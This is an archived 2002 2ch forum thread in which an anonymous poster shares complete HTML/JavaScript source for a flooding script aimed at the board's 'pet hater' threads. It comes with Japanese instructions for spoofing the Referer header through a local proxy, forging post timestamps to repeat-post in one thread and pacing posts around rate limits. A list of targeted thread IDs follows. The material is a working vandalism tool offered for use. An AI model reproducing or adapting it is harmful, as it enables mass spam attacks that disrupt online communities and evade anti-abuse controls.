50 :
あぼーん :
02/01/30 12:32 ID:??? ペット大嫌い板荒らしスクリプト ------------------------------ここから post3.html --------------------------------------------------------- <HTML> <frameset rows="220,*"> <frame src="post3_1.html" name="cont"> <frame src="post3_2.html" name="form"> </frameset> </HTML> ------------------------------ここから post3_1.html ------------------------------------------------------- <HTML> <BODY onLoad="init()"> <script language="JavaScript"> <!------ var keys; var keyi; var postcount; var postcount2; var loopcount; var starttime; var time; function init(){ document.forms[0].keys.value="1011283637\n1008952490\n1008146060\n1009171579\n994160026\n1001910900\n995123059\n1010738811\n994596389\n"; } function main(){ keys=document.forms[0].keys.value.split("\n"); //フォームからスレkeyを得る //変数の初期化 keyi=0; postcount=0; postcount2=0; threadcnt=0; loopcount=0; starttime=new Date; //開始ボタンが押された時間 countdown(); } function countdown(){ //カウントダウンを表示 var now=new Date; //現在時間を得る var elapsed; elapsed = (now-starttime)/1000; if (elapsed > document.forms[0].timer.value){ //経過時間をチェック jmp(); return; } document.forms[0].status.value="攻撃開始まで"+Math.floor(document.forms[0].timer.value-elapsed)+"[sec]"; //フォームに表示 stopper=setTimeout ("countdown()",100); }
51 :
あぼーん :02/01/30 12:34 ID:???
function jmp(){ var now=new Date; //現在時間を得る if (now/1000 - (starttime/1000 + parseInt(document.forms[0].timer.value)) > parseInt(document.forms[0].atime.value) && parseInt(document.forms[0].atime.value) !=0) //攻撃時間で指定された時間攻撃したら終了 return; parent.form.location="post3_2.html"; //下のフレームを投稿用ページにする stopper=setTimeout("post()",1000); //ここで少し待たないと次の処理で下フレームのフォームに書き込めないエラーになる } function post(){ //文字列を生成 var str = ""; for (var l=0; l < document.forms[0].lines.value; l++){ for (var c=0;c<186;c++){ str+= unescape(String.fromCharCode(Math.random()*0x5e+0x21)); } if (l != document.forms[0].lines.value-1) str+="\n" } //下フレームのフォームに値を転送 parent.form.document.forms[0].bbs.value = document.forms[0].bbs.value; parent.form.document.forms[0].key.value = keys[keyi]; parent.form.document.forms[0].FROM.value = document.forms[0].FROM.value; parent.form.document.forms[0].mail.value = document.forms[0].mail.value; parent.form.document.forms[0].MESSAGE.value = str; if (!document.forms[0].consttime.checked || postcount==0){ //同一スレッド内でtimeを固定するかしないか var now=new Date; //現在時間を得る var old=new Date(2002,0,30); //2002/01/30の日付オブジェクトを生成 time=parseInt(document.forms[0].time.value) + Math.floor((now-old)/1000); //timeを計算 } parent.form.document.forms[0].time.value = time; parent.form.document.forms[0].submit.click(); //下フレームの投稿ボタンを押す loopcount++; //post回数を累計 document.forms[0].status.value=loopcount+"回postしました。"+" Thread:"+keys[keyi]+" time:"+time; //Statusを表示 postwait=5000; //post間隔 postcount++; //1スレ連続投稿数をカウント postcount2++; //連続投稿総数をカウント if (postcount==document.forms[0].posts.value){ //1スレ連続投稿数になったら postcount=0; keyi++; //次のスレに移る } if (postcount2 == document.forms[0].posts2.value){ //連続投稿総数になったら postcount2=0; postwait = document.forms[0].wait.value * 1000; //連続投稿規制時間で指定された秒数待つ } if (keyi==keys.length || keys[keyi].length<5) //スレkeyのリストで改行などがあったら最初のスレに戻る keyi=0; stopper=setTimeout("jmp()",postwait); //jmp()とループを形成 }
52 :
あぼーん :02/01/30 12:34 ID:???
function stop(){ //攻撃停止ボタンで終了 clearTimeout(stopper); } //------> </script> <FORM> 荒らしたいスレのkey(改行で区切る)<BR> <TEXTAREA name=keys rows=5 wrap=off cols=20 value=aff></TEXTAREA>2002/01/30 00:00:00のtime:<INPUT size=15 name=time value=1012316401>同一スレッド内でtimeを固定:<INPUT type="checkbox" name=consttime><BR> 攻撃開始待ち時間[sec]:<INPUT size=6 name=timer value=0>攻撃時間(0で無限):<INPUT size=6 name=atime value=0><BR> 板名:<INPUT size=15 name=bbs value="cat">1スレ連続投稿数:<INPUT size=4 name=posts value=1> 連続投稿総数:<INPUT size=4 name=posts2 value=9>連続投稿規制時間[sec]:<INPUT size=6 name=wait value=2000><BR> 名前:<INPUT size=19 name=FROM value="あぼーん"> E-mail:<INPUT size=19 name=mail value="sage">行数:<INPUT name=lines value=19><BR> <INPUT type="button" value="攻撃開始" onClick="main()"><INPUT type="button" value="攻撃停止" onClick="stop()"> Status:<INPUT size=100 name=status> </FORM> </BODY> </HTML> ----------------------------------------ここから post3_2.html -------------------------------------------- <HTML> <BODY> このフレームには書き込む必要はありません。<BR> <SCRIPT defer type=text/javascript><!-- function l(e){ var N=g("NAME"),M=g("MAIL"),i; with(document) for(i=0;i<forms.length;i++) if(forms[i].FROM&&forms[i].mail) with(forms[i]){ FROM.value=N;mail.value=M; } } onload=l; function g(key,tmp1,tmp2,xx1,xx2,xx3,len){ tmp1=" "+document.cookie+";"; xx1=xx2=0; len=tmp1.length; while(xx1<len){ xx2=tmp1.indexOf(";",xx1); tmp2=tmp1.substring(xx1+1,xx2); xx3=tmp2.indexOf("="); if(tmp2.substring(0,xx3)==key) return unescape(tmp2.substring(xx3+1,xx2-xx1-1)); xx1=xx2+1; } return ""; } //--></SCRIPT>
53 :
あぼーん :02/01/30 12:35 ID:???
<FORM action=
http://tmp.2ch.net/test/bbs.cgi method=post>
<INPUT type=submit value=書き込む name=submit>
名前: <INPUT size=19 name=FROM>
E-mail<FONT size=1> (省略可) </FONT>: <INPUT size=19 name=mail><BR>
<TEXTAREA name=MESSAGE rows=5 wrap=off cols=70></TEXTAREA><BR>
bbs<INPUT name=bbs>
key<INPUT name=key>
time<INPUT name=time>
</FORM>
</BODY>
</HTML>
--------------------------------------------EOF-------------------------------------------------------------
ランダム文字列を指定したスレに貼りまくるスクリプトです。これはローカルから投稿するので、refererを偽装
する必要があり、まずProxomitron(
http://proxomitron.org/ )をダウンロードして起動し、"Edit Filters"の
"Headers"の、Referer: Hide where we've been (Out)の左のOutチェックボックスを有効にし、EditしてURL
Matchを*,Header Value Matchを空欄に、Replacement textを\uにします。次にブラウザのプロクシを、
"127.0.0.1:8080"に設定すればProxomitronの偽装フィルタリングがかかります。
そして、上のhtmlをメモ帳にコピペしてそれぞれ3つのファイルに保存し、荒らしたいスレのkeyにスレッドの
URLの
http://tmp.2ch.net/test/read.cgi/cat/**********/ の**********の部分を貼り付けます。複数のスレを
指定するときは改行で区切ります。また、フォームのtimeの値を計算して投稿するので、同じスレに連続投稿
ができます。攻撃開始待ち時間は攻撃開始をクリックしてから実際に書き込みが開始されるまでの時間で、攻撃
時間は書き込みを始めてから終わるまでの時間です。1スレ連続投稿数は1つのスレッドに連続して書き込む回数で、
他のスレも含めて連続投稿総数の数だけ投稿したら連続投稿規制時間の秒数だけ待ちます。
下のフレームのフォームは特にいじらなくてもよいです。
これがペット大嫌い板の凶悪なスレのkeyです。
1011283637
1008952490
1008146060
1009171579
994160026
1001910900
995123059
1010738811
994596389
995897752
1008895478
1005176736
54 :
あぼーん :02/01/30 12:35 ID:???
995039249 994842059 1001671675 997237985 1001607201 994015773 995015847 997833725 986660135 1008465919 1008494729 1011186587 1000874226 1011124743 1009312739 992358437 993797789 993907424 995030209 994293933 998801116 997359549 996497513 1002553564 1012101206 995075992 1010658886 997188236 987511060 995371681 1001662000 985872796 990152767 1008523626 991230973 995035279 1009339229 1007111604 998371802 997854692 1009544356 998139907 995127113 994501864 996868082 1003741528 988369627 993465322 本当は別フレームを2chのスレのURLに移動させ、そこのフォームに制御用フレームからフォームに自動記入して書き込む ボタンを押すようにしてreferer偽装の必要を無くしたかったのですが、ブラウザのセキュリティにより別ドメインの フレームのフォームにアクセスできませんでした。そのため、2chでは書き込みが成功すると板のトップに飛ばされる のですが、上のスクリプトでは別ドメインのフレームのURLを取得することができず、スクリプト側で書き込み成功を確認 することはできません。